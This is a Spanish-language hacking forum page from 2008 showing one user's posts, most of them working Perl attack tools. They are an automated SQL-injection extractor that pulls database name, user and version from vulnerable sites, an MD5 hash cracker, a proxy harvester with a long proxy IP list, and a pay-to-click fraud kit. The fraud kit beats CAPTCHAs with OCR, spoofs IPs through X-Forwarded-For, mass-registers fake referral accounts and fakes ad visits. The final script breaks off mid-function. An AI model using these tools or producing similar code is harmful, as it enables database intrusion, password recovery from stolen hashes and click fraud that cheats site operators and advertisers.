elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
13 Octubre 2008, 08:35  



  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 19
1  Forums Generales / Foro Libre / Re: Posibles nombres.... en: 30 Septiembre 2008, 22:54
creo que tienes q primero reunior las palabras claves para poder formar un nombre compuesto, que pueda resumir que kieres vender, tampoco algo tan abstracto, pork no daras la informacion con tal de decir la dns.

por ej
modding
pc
hardware

y empezar a hacer palabras solas, q componnen tu idea, para asi ir convinando ideas y palabras, creo q es la mejor forma de dar los nombres, bue asi lo hacen en los negocios q e participado. (diseñando).

las empresas q ponen nombres abstractos q talvess no hagan muxa referencia es pork tienen un impulso demasiado fuertre q pueden gastar en publicidad extra.

bue esop , lo mejor hacer una listra de nombres claves para luego ir convinando.

por ej
HardModding

etc

saludos¿
2  Seguridad Informática / Bugs y Exploits / DataExtract database(),user(),version() By OzX en: 28 Septiembre 2008, 01:06
Hi.
Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos.

En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla.

Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej.

.../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7

Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion.

SAludos¡



Código:
use LWP::UserAgent;

use HTTP::Request::Common;

#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();

$browser->timeout(10);

$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",

"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",

"Referer" => "http://www.google.com"

);


use constant URL => $ARGV[0]; #Constante URL.

unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
   exit 0;
}

($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);


print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";


#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}

#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}

#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES
$vars =  @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}

#Funcion GETS
sub GETS{
return  $browser->request(GET $_[0])->content;
}
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}


3  Programación / Scripting / Re: MultiCracker 0.1 MD5 en: 05 Septiembre 2008, 04:32
bajate el active perl

luego
>script.pl <hash>

y seria :D
4  Programación / Scripting / MultiCracker 0.1 MD5 en: 05 Septiembre 2008, 01:40
MultiCracker Md5 0.1
http://www.nullbytes.net/multicracker-md5-01/

Dentro del Marco del Hacking, muchas veces nos encontramos con hash en md5 que deseamos desencriptar, y vamos a las Web mas conocidas en busca si existe en sus bases de datos la contraseña en cuestión.

Y como siempre es bueno ahorrar tiempo, desarrolle una tool que busca en las 6 Web que mejor resultados me dieron.

http://www.hashfind.info
http://md5decrypter.com
http://gdataonline.com
http://md5.hashcracking.com
http://milw0rm.com
http://md5search.org






Código
use LWP::UserAgent; 
use HTTP::Request::Common;
use HTTP::Cookies;
 
# By OzX NULLBYTES.net
### BASE DE LAS PETICIONES ##############################################################################################
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(
 
"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.google.com"
);
 
#################################################################FUNCION GET Y POST
sub GETS{@code = split("\n",$content = $browser->request(GET $_[0])->content);return @code;}
sub POSTS{@code = split("\n",$content = $browser->request(POST $_[0], [%{$_[1]}])->content);return @code};
###############################################################################
$hash = $ARGV[0];
unless ($ARGV[0]) {
print "MULTICRACKER 0.1 BY OZX www.nullbytes.net \nCrackNB.pl <hash>\n";
print "CrackNB.pl 202cb962ac59075b964b07152d234b70\n\n";
  exit 0;
}
########################################################
%webs = ('0' => "http://md5decrypter.com",
'1' => "http://gdataonline.com",
'2' => "http://md5.hashcracking.com",
'3' => "http://milw0rm.com",
'4' => "http://md5search.org",);
 
###PETICIONES ####################################
if ($hash =~/\w{32}/){
hashfind($hash);
for($i=0;$i<5;$i++){
$pid = fork();
 
if( $pid == 0 ){
     print $webs{$i}.":> ".md5($i)."\n";
  exit 0;
               }
                           }
}else{
print "[+] HASH INVALIDO\n";
exit;
}
#################################################
#LA WEB http://www.hashfind.info TIENE UN SISTEMA BASADO EN COOKIES PARA MOSTRAR EL HASH ,
#ES POR ELLO QUE NO PUDE IMPLEMENTARLO DENTRO DE  LAS OTRAS FUNCIONES
# TAMBIEN TAMPOCO PUDE IMPLEMENTARLO DENTRO DEL FORK.
sub hashfind{
$hash = $_[0];
###  COOKIE PARA http://www.hashfind.info <=  ¬¬
$browser->cookie_jar(HTTP::Cookies->new(file => "cookie_hash.txt", autosave => 1));
@code = POSTS("http://www.hashfind.info/",{hash => $hash, button => Search});
@codex = GETS("http://www.hashfind.info/get.php?type=0 ");
print "http://www.hashfind.info :> @codex\n";
}
 
sub md5{
$id=$_[0];
$cracker[0]= crack_post($webs{$id},{hash => $hash, submit => Decrypt%21 },$hash,'.*Normal.*<\/b>','.*this hash wasn.*') ;
$cracker[1]= crack_get($webs{$id}."/qkhash.php?mode=txt&hash=",$hash,'.*><b>','<\/b><.*','.*\?',"<\/td><\/tr>");
$cracker[2]= crack_get($webs{$id}."/search.php?md5=",$hash,".*is ");
$cracker[3]= crack_post($webs{$id}."/cracker/search.php",{hash => $hash, Submit => Submit },$hash,"<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked.*",".*<TR class=\"submit\">.*nowrap=\"nowrap\" width=90>");
$cracker[4]= crack_post($webs{$id}."/index.php",{hash => $hash , server => all ,token => md5s , tryb => search, submit =>MD5Search%28%29},"<font.*size=\"-1\">.*nbsp",".*class=\"wyniksz\">","<\/font><\/td><\/tr><\/table><\/td><\/tr><\/table>.*p>","<\/font><\/td><\/tr>");
 
return $cracker[$id];
}
 
sub crack_post{
($url,$data,$match,@reg1) = @_;
@code = POSTS($url,$data);
for $linea (@code){
if ($linea=~/$match/i){
for $reg (@reg1){
$linea=~s/$reg//;
}
 
return $linea;
}
 
}
}
 
sub crack_get{
($url,$hash,@reg1) = @_;
@code = GETS($url.$hash);
for $linea (@code){
if ($linea=~/$hash/i){
for $reg (@reg1){
$linea=~s/$reg//;
 
}
return $linea;
}
}
}
 

Ideas Sugerencias :D Bienvenidas
www.nullbytes.net¡
http://www.nullbytes.net/multicracker-md5-01/
5  Seguridad Informática / Hacking Básico / Re: Desafiando a Bux.to Clone Script en: 02 Septiembre 2008, 04:17
Hola siento ser tan pesao ;D
Pero eske no lo consigo
Lo de los usuarios.

He conseguio leer lo k pone en cuanto le doy al enter cuando escribo los parametros del creador de usuarios
Me sale este error:

Escribo el parametro y me pone

Parametro no valido: -k
"ocr.exe" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

Despues tarda un poko con la pantalla en negro y me sale:

ERROR INTENTAR NUEVAMENTE<REVISAR RESULTADO.HTML>

Un saludo aver si lo arreglo con vuestra ayuda JeJe :laugh:

Citar
Descargar Codigos y Programas Necesario
http://rapidshare.com/files/139879425/Bux_to_clone_nullbytes.rar.html

Codigo con 1 Detalle , Que debe ser Editado si se desea Ocupar en otras webs (Para Evitar Abusos), Codigo 100% Funcional en 07bux.net


www.nullbytes.net
OzX

hay q leer hasta abajo del documento  :P
bajate los programas necesarios.
Saludos¡
6  Programación / Scripting / Re: Extractor de Proxy Desde http://www.proxy-list.net/ en: 01 Septiembre 2008, 21:34
wow tantas visitas :D
ningun comentario XD¡
7  Seguridad Informática / Hacking Básico / Re: Desafiando a Bux.to Clone Script en: 01 Septiembre 2008, 03:52
Pues si eso es lo mas dificil de imitar, agas lo q agas no vas a poder imilitarlo.
es por ello que quienes se vuelvan locos haciendo usuarios
es muy posible que no les funcione.
8  Programación / Scripting / Extractor de Proxy Desde http://www.proxy-list.net/ en: 01 Septiembre 2008, 00:46
Siempre es mas que útil tener una lista bastante extensa de Proxy para poder utilizar en distintas herramientas que estemos desarrollando, es por ello que desarrolle un script escrito en Perl el cual extrae todas los Proxy desde http://www.proxy-list.net/ , y los guarda en un archivo txt lista_proxy.txt.

Optimizado con fork().
Elimina Repetidos.

Código
use LWP::UserAgent;
use HTTP::Request;
#Proxt-List.Net Extract 0.1
# By OzX NULLBYTES.NET Extractor de Proxy  DESDE http://www.proxy-list.net
#THANX ALL NULLBYTES.NET STAFF
 
@regexp = ('.*shtml\?','\"><font.*');
sub extract{
$index = $_[0];
$match = $_[1];
foreach $linea (get($index)){
if ($linea=~m/$match/i){
foreach $regexp (@regexp){$linea=~s/$regexp//;}
push (@links,"http://www.proxy-list.net/ShowList.pl?".$linea."\n");
}
 
}
return @links;
}
################################################################
################################################################
#EXTRAIGO TODAS LAS IP | DIRECION PRINCIPAL, MATCH DE BUSQUEDA DE LINKS, MATCH DE BUSQUEDA DE IP.
@links= extract('http://www.proxy-list.net/fresh-proxy-lists.shtml','show-proxy-lists\.shtml\?\w{1,30}');
$total = scalar(@links);
#################################################################
syswrite STDOUT , "[+] Total de Links A Visitar $total \n [+] CRAWLING ....\n";
open (IP,">PROXY.TXT");
for($i=1;$i<$total;$i++){
$pid = fork();
if( $pid == 0 ){
@ip = ip($links[$i]);
syswrite STDOUT ,"[+] CRAW => $links[$i]";
print IP @ip;
 
exit 0;
               }
                           }
close(IP);
#######################################################
open(PROXY,"PROXY.txt"); @proxy=<PROXY>;close (PROXY);
########Eliminando Repetidos
foreach my $parte ( @proxy ) {
    next if $ya_visto{ $parte }++;
    push @ip, $parte;
}
#############################################################
 
open (IP,">lista_proxy.txt"); print IP @ip; close(IP);
 
###########################SUB #############################
sub ip{
$link = $_[0];
@codigo = get($link);
foreach $ip (@codigo){
if ($ip=~m/\d+.\d+\.\d+\.\d+:\d+/){
push (@ip,$ip."\n");
}
}
return @ip;
}
##################################################################
sub get{
$url=$_[0];
####UserAgent###############
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(
"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.proxy-list.net/fresh-proxy-lists.shtml"
);
###Petcion GET################################
$request = HTTP::Request->new(GET => $url);
$response = $browser->request($request);
$contents = $response->as_string;
#######Respuesta##################
@code = split("\n",$contents);
return @code;
}
 
 

Citar
143.248.139.171:3124
62.149.67.49:8080
62.149.112.38:8080
62.149.112.33:8080
213.253.169.130:808
208.117.131.115:3124
204.85.191.10:3124
204.8.155.226:3128
200.19.159.34:3124
194.36.10.154:3127
193.136.191.26:3128
193.136.191.25:3128
192.33.90.67:3124
192.33.210.16:3124
169.229.50.7:3124
169.229.50.5:3127
164.107.127.13:3124
164.107.127.12:3127
155.98.35.6:3128
155.246.12.164:3124
152.3.138.3:3127
141.76.45.17:3124
141.13.16.201:3127
136.145.115.196:3124
132.252.152.193:3128
132.239.17.226:3128
132.239.17.224:3124
131.247.2.242:3124
129.174.79.249:3124
128.8.126.111:3128
128.6.192.158:3127
128.223.8.112:3127
128.208.4.99:3124
128.208.4.199:3128
128.208.4.198:3127
128.2.223.63:3127
128.112.139.75:3127
194.36.10.156:3127
130.192.157.132:3128
130.92.70.252:3128
132.252.152.194:3127
134.34.246.4:3124
134.76.81.91:3124
136.145.115.196:3128
138.23.204.232:3124
141.24.33.162:3124
152.3.138.4:3124
160.94.220.241:3127
169.229.50.11:3127
169.229.50.5:3128
169.229.50.16:3127
128.113.226.235:3124
128.223.8.112:3128
128.233.252.11:3124
128.4.36.12:3124
129.59.88.180:3124
130.192.157.131:3124
192.33.90.195:3128
192.33.90.66:3128
192.33.90.67:3127
192.42.43.23:3127
133.1.74.162:3124
141.76.45.18:3128
142.150.238.12:3124
152.3.138.1:3124
193.55.112.41:3128
165.230.49.115:3128
169.229.50.10:3124
195.130.121.204:3128
198.82.160.220:3124
200.132.0.70:3127
200.19.159.34:3127
147.102.3.101:3128
128.111.52.61:3128
128.252.19.20:3124
128.163.142.20:3128
152.3.138.5:3128
128.163.142.21:3127
128.195.54.161:3128
130.75.87.83:3124
131.246.191.42:3127
133.1.74.163:3127
138.23.204.133:3124
169.229.50.15:3128
192.33.210.16:3128
193.136.227.163:3127
131.247.2.241:3124
128.135.11.152:3124
128.113.226.236:3127
128.208.4.197:3127
128.208.4.198:3128
137.226.138.156:3124
193.167.187.188:3127
128.252.19.22:3127
129.69.210.96:3127
141.24.249.130:3128
155.98.35.3:3128
155.98.35.6:3127
169.229.50.14:3124
192.197.121.3:3128
129.186.205.77:3124
130.75.87.84:3124
132.187.230.1:3124
136.145.115.194:3124
137.226.138.154:3124
204.8.155.227:3128
156.17.10.52:3128
142.150.238.13:3128
137.99.11.87:3127
198.82.160.220:3128
136.145.115.194:3128
149.169.227.129:3124
155.225.2.72:3128
169.229.50.15:3127
61.110.143.2:808
61.145.121.124:847
64.34.173.112:8888
165.193.47.39:80
192.54.45.201:8000
200.62.15.67:8080
202.75.144.62:8080
202.108.28.23:8080
203.158.221.226:443
216.191.142.125:80
218.27.148.66:8080
219.159.67.187:808
129.174.79.249:3128
128.112.139.80:3128
131.247.2.242:3127
72.36.112.71:3124
128.223.8.111:3127
129.10.120.193:3127
155.246.12.163:3127
169.229.50.14:3128
169.229.50.6:3128
169.229.50.9:3124
169.229.50.15:3124
169.229.50.7:3128
72.36.112.74:3128
128.59.20.228:3124
208.117.131.115:3128
165.91.83.22:3124
169.229.50.13:3127
129.74.74.16:3124
164.107.127.12:3128
128.151.65.101:3127
128.187.223.212:3127
128.238.88.64:3128
128.31.1.12:3128
128.4.36.11:3127
129.186.205.71:3128
129.186.205.77:3128
129.24.211.26:3128
152.15.98.226:3124
152.3.138.2:3124
128.112.139.73:3124
128.112.139.78:3124
204.56.0.137:3128
206.207.248.34:3124
128.8.126.112:3124
131.247.2.241:3128
128.59.20.227:3128
66.27.206.26:6406
138.238.250.157:3124
129.24.211.25:3128
155.225.2.72:3124
72.36.112.72:3127
204.85.191.10:3128
204.85.191.11:3128
156.17.10.52:3127
141.24.33.192:3127
147.102.3.102:3124
129.59.88.180:3128
160.94.220.241:3124
198.82.160.221:3128
128.8.126.111:3127
200.132.0.70:3128
128.232.103.202:3128
203.177.193.102:3128
193.136.227.163:3124
164.73.47.244:3128
138.246.99.250:3124
192.33.90.67:3128
143.215.129.117:3128
134.76.81.92:3124
132.68.237.36:3124
198.82.160.220:3127
131.175.17.10:3128
192.41.135.218:3128
131.247.2.241:3127
194.29.178.13:3124
155.246.12.163:3124
212.24.238.155:80
201.95.124.101:6588
201.68.4.187:6588
200.207.47.209:6588
200.161.108.144:6588
189.53.70.22:6588
189.19.195.251:8080
118.175.255.10:80
87.23.22.9:8080
85.172.120.214:3128
77.247.209.19:3128
72.55.191.6:3128
68.167.209.90:8000
189.3.11.12:8080
62.149.112.37:8080
80.63.1.213:80
82.5.185.111:7212
80.86.200.172:6649
24.188.58.1:8800
128.2.223.63:3128
128.6.192.156:3127
128.59.20.228:3128
143.215.129.117:3124
129.74.74.16:3128
128.187.223.212:3124
194.36.10.154:3128
128.232.103.201:3124
128.232.103.203:3128
192.33.90.68:3128
192.33.90.69:3127
192.42.43.22:3128
130.92.70.251:3128
192.33.90.196:3127
192.33.90.195:3127
192.42.43.23:3124
193.136.191.26:3127
193.136.191.25:3127
195.116.60.34:3124
156.17.10.51:3127
130.37.198.243:3127
163.221.11.73:3124
133.1.74.162:3128
130.136.254.21:3127
131.175.17.9:3128
195.130.121.205:3128
147.102.3.102:3127
137.226.138.154:3128
132.252.152.193:3124
141.24.33.192:3128
129.69.210.97:3128
137.226.138.156:3128
141.76.45.18:3127
129.69.210.96:3128
141.24.33.161:3124
138.246.99.249:3128
141.24.33.162:3128
213.205.99.185:80
213.205.99.182:80
213.205.99.181:80
193.167.182.130:3127
193.167.187.188:3128
121.14.139.147:8088
142.150.238.12:3128
192.197.121.3:3124
198.163.152.230:3127
200.132.0.70:3124
143.107.111.195:3124
200.207.88.222:6588
128.232.103.203:3124
169.229.50.8:3128
128.4.36.12:3128
128.4.36.11:3128
128.208.4.197:3128
128.252.19.21:3128
206.117.37.4:3128
206.207.248.34:3128
128.135.11.152:3128
142.150.238.13:3124
129.59.88.179:3128
164.73.47.242:3128
123.243.252.73:80
210.19.71.89:80
204.8.155.227:3127
129.24.211.26:3124
194.117.20.214:3128
164.107.127.13:3127
132.187.230.1:3127
81.192.52.62:80
218.139.64.79:8080
195.130.121.204:3127
195.113.161.83:3127
193.136.227.163:3128
192.42.43.22:3127
169.229.50.10:3127
165.230.49.115:3124
160.94.220.241:3128
141.24.249.130:3124
129.41.69.20:80
128.59.20.227:3124
128.192.101.218:3128
128.187.223.211:3127
128.163.142.20:3124
128.112.139.97:3128
202.105.182.87:808
129.59.88.179:3124
152.3.138.5:3124
193.174.67.186:3128
138.23.204.232:3127
152.3.138.2:3127
169.229.50.10:3128
138.23.204.133:3128
128.187.223.211:3128
132.239.17.225:3124
128.223.8.111:3128
128.59.20.226:3128
152.3.138.4:3128
72.36.112.71:3128
122.169.241.78:6409
203.121.133.124:80
61.144.217.173:80
155.98.35.5:3128
164.107.127.12:3124
128.192.101.217:3128
125.46.34.52:8088
193.251.181.135:8080
134.34.246.5:3124
193.167.187.187:3127
128.232.103.202:3124
128.232.103.201:3128
129.24.211.25:3124
204.56.0.137:3124
128.252.19.21:3127
128.238.88.64:3127
62.38.189.214:8080


Saludos¡

Ideas¡ Dudas¡ Nuevas FOrmas, etc
COmentar¡

www.nullbytes.net¡
http://www.nullbytes.net/extractor-de-proxy-desde-httpwwwproxy-listnet/
9  Seguridad Informática / Hacking Básico / Re: Desafiando a Bux.to Clone Script en: 01 Septiembre 2008, 00:39
En autoit lo podria hacer mas simplificado ^^

bueno.
____

El codigo esta optimizado para que funciona bien en 07bux.net, para que sea funcional en otras webs es necesario cambiar 1 linea, para evitar abusos, el que sepa perl , va a lograr cambiarlo es muy simple.

De todas formas como decia en el post, el objetivo del codigo es para que funcione en bux.to clone , el script. muchas webs le cambian el proxy, o hasta le pueden cambiar el valor a las cookies y ia no funcionara.


Codigo Para Crear Usuario AUnque ia esta posteado
bux.pl http://07bux.net jhonxs andresmata

Jhonxs = es el nuevo usuario
andremasta = es el usuario principal.

Lo Prove recien y funciona Perfecto.



____________________

Código:
$ua->cookie_jar(HTTP::Cookies->new(file => "cookie_07bux_catpcha.txt", autosave => 1));

Es necesario, para el catpcha.
Este esta muy relacionado con el phpsessid del php generado, este al ingresar el codigo correcto valida el phpsessid generado. por lo cual te deja crear el usuario.



:D Saludos¡¡¡

10  Seguridad Informática / Hacking Básico / Desafiando a Bux.to Clone Script en: 28 Agosto 2008, 00:25
Desafiando a Bux to Clone

Es muy Común ver páginas Web enfocadas a la explotación del servicio de PTC (Pay To Click), que en la poca ciencia que tiene te paga por visitar unos Links por una cierta cantidad de Tiempo, luego de finalizar la espera se te acredita una cierta cantidad de dinero a tu cuenta. Comúnmente unos 0.01 USD por cada link, que solo puede ser visitado 1 vez cada 24 horas, y la media de las PTC, tienen un total de 10 Links. Por lo cual Ganaras unos 0.1 USD Diarios al Diarios.

Como es un Servicio bastante llamativo, muchas paginas Web instalaron en sus servidores un Script llamado bux to Clone, que es una copia de unos de los pioneros en estas ramas bux.to.

En un escenario ideal un usuario podría ganar 0.1 USD Cada día, también podría ganar por su referidos, (personas que el invita a registrarse), gana 0.01 por Cada link que el Referido Gane.

Mítico Ejemplo de Cuanto Podrías Ganar:

    Earnings Example
    » You click 10 ads per day = $0.10
    » 20 referrals click 10 ads per day = $2.00
    » Your daily earnings = $2.10
    » Your weekly earnings = $14.70
    » Your monthly earnings = $63.00


Pero, ¿Qué Pasaría si Nosotros Podríamos Generar esos 20 Referidos Activos?



Es en este punto en donde nos enfocaremos.
Para Poder Tener Control Sobre Nuestra Interrogante, desarrolle 2 Scripts en Perl.

1.) Creador de Usuarios
2.) Visitador de los Links

Características Creador de Usuarios:

1.) Salta el Catpcha Básico que Trae el Script Bux to Clone, gracias al ORC open source, GORC.
2.) Genera un Usuario con Ip Falsa, Ocupando X Forwarded For, mala validación de la IP (ver imagen).

Características de “Bot” de Links:

1.) Tiempo de Espera Entre cada AD
2.) Asignación de IP (Según la Ip Registrada)
3.) Sistema “Intento de Movimiento Humano”, al visitar cada link de forma aleatoria. (Link 1, link7, link 3, etc)

Importante


Los Scripts Están Basados en 07bux.net el cual tiene el Script de bux to clone, si alguna Web hizo algún cambio en su esquema del script, cambiando el catpcha, o renombrando los nombres de los archivos php, es Claro que no funcionara, Dejo bien aclarado que estos Scripts es un POC para el Script base de Bux to clone, el cual tiene instalado 07bux.net
En Conclusión Podemos Ocupar el Creador de Usuarios para crear a nuestros antojo la cantidad de usuarios que estimemos conveniente, para luego así ocupar el segundo script para hacer las visitas correspondientes al sitio Web en cuestión.
Así podemos tener un total control de cuanto podremos ganar, pero es claro que es difícil programar el comportamiento humano, a cualquier le resultaría sospechoso que un usuario que recién se registro tenga mas de 50 referidos en 1 día, o que todos sus referidos visiten la publicidad en un intervalo de 5 minutos cada uno.
Por lo cual es necesario tener un control y tener un crecimiento paulatino de los usuarios referidos y las visitas.


Ejemplo de la Manipulacion de la Ip

Es un Factor bastante importante , para poder dar a parecer que son usuarios reales los que visitan , si una Ip se registra luego ve sus Links de forma aleatoria, se deslogea , se guarda su IP, luego vuelve a logearse y es esa misma IP, da una sensación de realidad.






MakeUser 0.1


Código MakeUser: Crea Usuario Dependiendo de los parámetros que se Ingresen, Ocupa el OCR open source, GORC, y un programa que Convierte de Extensión jpg a ppm, para que pueda ser Leido por el Programa GORC.

Código
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request;
 
#MakeUsers 0.1 Bux to Clone by OzX Nullbytes
#Thanx Tec-N0x & All Staff NB
 
$serv = $ARGV[0];
$nombre = $ARGV[1];
$referer = $ARGV[2];
 
unless ($ARGV[1]) {
print "MakeUsers 0.1 Bux to Clone  0.1 By OzX Nullbytes.net\n\n";
print "Uso : script.pl <nombre> <referer>\n";
print "Ejemplo : script.pl http://07bux.net Nulles \n";
print "Ejemplo : script.pl http://07bux.net Nulles2 Nulles\n";
 
  exit 0;
}
 
######### Generar Ip ################
$ip1= int(rand(30))+190;
$ip2= int(rand(240));
$ip3= int(rand(240));
$ip4= int(rand(240));
$ip = $ip1.".".$ip2.".".$ip3.".".$ip4;
######## Emails Random ###############
@mails = qw (gmail.com hotmail.com live.com yahoo.es yahoo.com );
$rand = int(rand( @mails));
$mailr = $mails[$rand];
$email=$nombre."%40".$mailr;
####### Password Random ##############
$password= $nombre.$ip1.$ip4;
#######Ciudad Random ################
$ciudad= int(rand(190));
 
###### Nueva peticion ###########
$ua = LWP::UserAgent->new;
###### Activamos Cookie, User-agent, y Definimos la Ip Generada
$ua->cookie_jar(HTTP::Cookies->new(file => "cookie_07bux_catpcha.txt", autosave => 1));
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
$ua->default_header("X-Forwarded-For" => $ip);
 
##########CATPCHA###################
####### Descargamos Imagen Catpcha ##########
$ua->mirror( $serv."/image.php", "captcha.jpg" );
####### Convertimos Jpg a ppm ##############
system ("convert.exe captcha.jpg -k");
####### OCR #########################
system ("ocr.exe -o  captcha.txt captcha.ppm");
#######Recogemos Valor Generado ############
open (C,"captcha.txt");  $codigo = <C>;close (C);
 
system ("cls");
### Mientras que el Codigo Obtenido del OCR tenga alguna "o", deve ser remplazada por 0 (cero),  *Regexp, Normal no daba los Resultados que queria.
while (convert($codigo) == 1){
$codigo=~s/o/0/i;
}
 
chop($codigo);
###########################################
 
#####Iniciamos la Peticion POST
$req = HTTP::Request->new(POST => $serv."/register.php");
$req->content_type("application/x-www-form-urlencoded");
$req->content("username=$nombre&password=$password&cpassword=$password&email=$email&cemail=$email&pemail=$email&country=$ciudad&referer=$referer&tos=1&code=$codigo");
$response = $ua->request($req);
$content = $response->content();
guardar("resultado.html",$content);
#Cambiamos Hexa
$email=~s/%40/@/;
 
if ($content=~m/(You have been registered correctly)/){
print "Usuario Creado Satisfactoriamente\n\tWWW.NULLBYTES.NET\n\n
USUARIO:> $nombre
PASSWORD:> $password
IP:> $ip
EMAIL:> $email
REFERER:> $referer
REVISAR result.txt\n"
;
$resultado = "$nombre\t$password\t$referer\t$ip\t$email\n#########################################################################\n";
guardar("result.txt",$resultado);
}else{
print "ERROR INTENTAR NUEVAMENTE(Revisar resultado.html)";
}
 
####Guardar
sub guardar($archivo,$contenido){
$archivo=shift;
$contenido=shift;
open (C,">>".$archivo);
print C $contenido;
close (C);
}
#### Indentifica Si todavia tiene una o  Vivo con Problema de Regexp, esta solucion FUNCIONA : =)
sub convert($){
$codigo=shift;
if ($codigo =~m/o/i){
return 1;
}else{
return 2
}
}
 
#END

Fake Traffic


Código que Se Conecta a la Web “bux”, y extrae los Links y los visita automáticamente, en una forma aleatoria, (Visita: Link1, Link7, Link4, Link8), con un tiempo de espera establecido en los parámetros de ejecución del código., una vez Visitado se Borra de la Lista de los Links que Esperan Ser visitados:

Código
use LWP::UserAgent;
use HTTP::Request;
 
# By OzX NullBytes.net  [NukE]
# Gracias a Tecn0x, Por ayudarme en la Logistica de Todas las PTC ¡
# A todo el Staff de NB ¡
 
 
$serv = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];
$ip = $ARGV[3];
$tiempo_de_espera_entre_cada_ad = $ARGV[4];
 
 
unless ($ARGV[3]) {
print "FakeTrafick 0.1 Bux to Clone  0.1 By OzX Nullbytes.net\n";
print "Tiempo Recomendado entre Cada Ad (30)\n\n";
print "USO:> script.pl <pagina> <user> <pass> <ip> <intervalo de tiempo entre cada Ad>\n";
print "Ejemplo :> script.pl http://07bux.net OzX Null 111.111.111.111 30\n";
exit 0;
}
 
print "##############################################################\n";
print "#  FakeTrafick 0.1 Bux to Clone  0.1 By OzX Nullbytes.net    #\n";
print "#             WWW.NULLBYTES.NET                       #\n";
print "##############################################################\n";
#############################START ################################
@ad= craw($user,$pass,$ip);
$cantidad = scalar(@ad);
print "Cantidad de Links : $cantidad\n";
bots($cantidad,$tiempo_de_espera_entre_cada_ad);
 
sub bots($cantidad,$tiempo_de_espera_entre_cada_ad){
$cantidad= shift;
$tiempo_de_espera_entre_cada_ad = shift;
 
while ($cantidad != 0 ){
$time=$tiempo_de_espera_entre_cada_ad;
 
$rand = int(rand(@ad)); ##elige un ad al azar
$ad_rand = $ad[$rand]; ##############
 
print robot($ad_rand)."\n";
@sad = splice(@ad, $ad_rand, 1);
print "Links : Visitado @sad";
print "Links :@ad\n";
$cantidad = $cantidad - 1 ;
print "Links Por Visitar $cantidad\n";
#Tiempo de Espera
while($time -- ){sleep(1);syswrite STDOUT, "$time\t";}
 
print "\n###################################################################################################\n";
  }
 
}
 
 
 
sub craw($user,$pass,$ip){
$user=shift;
$pass=shift;
$ip=shift;
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
$browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
$browser->default_header("X-Forwarded-For" => $ip);
 
my $request = HTTP::Request->new(GET => $serv."/surf.php");
my $response = $browser->request($request);
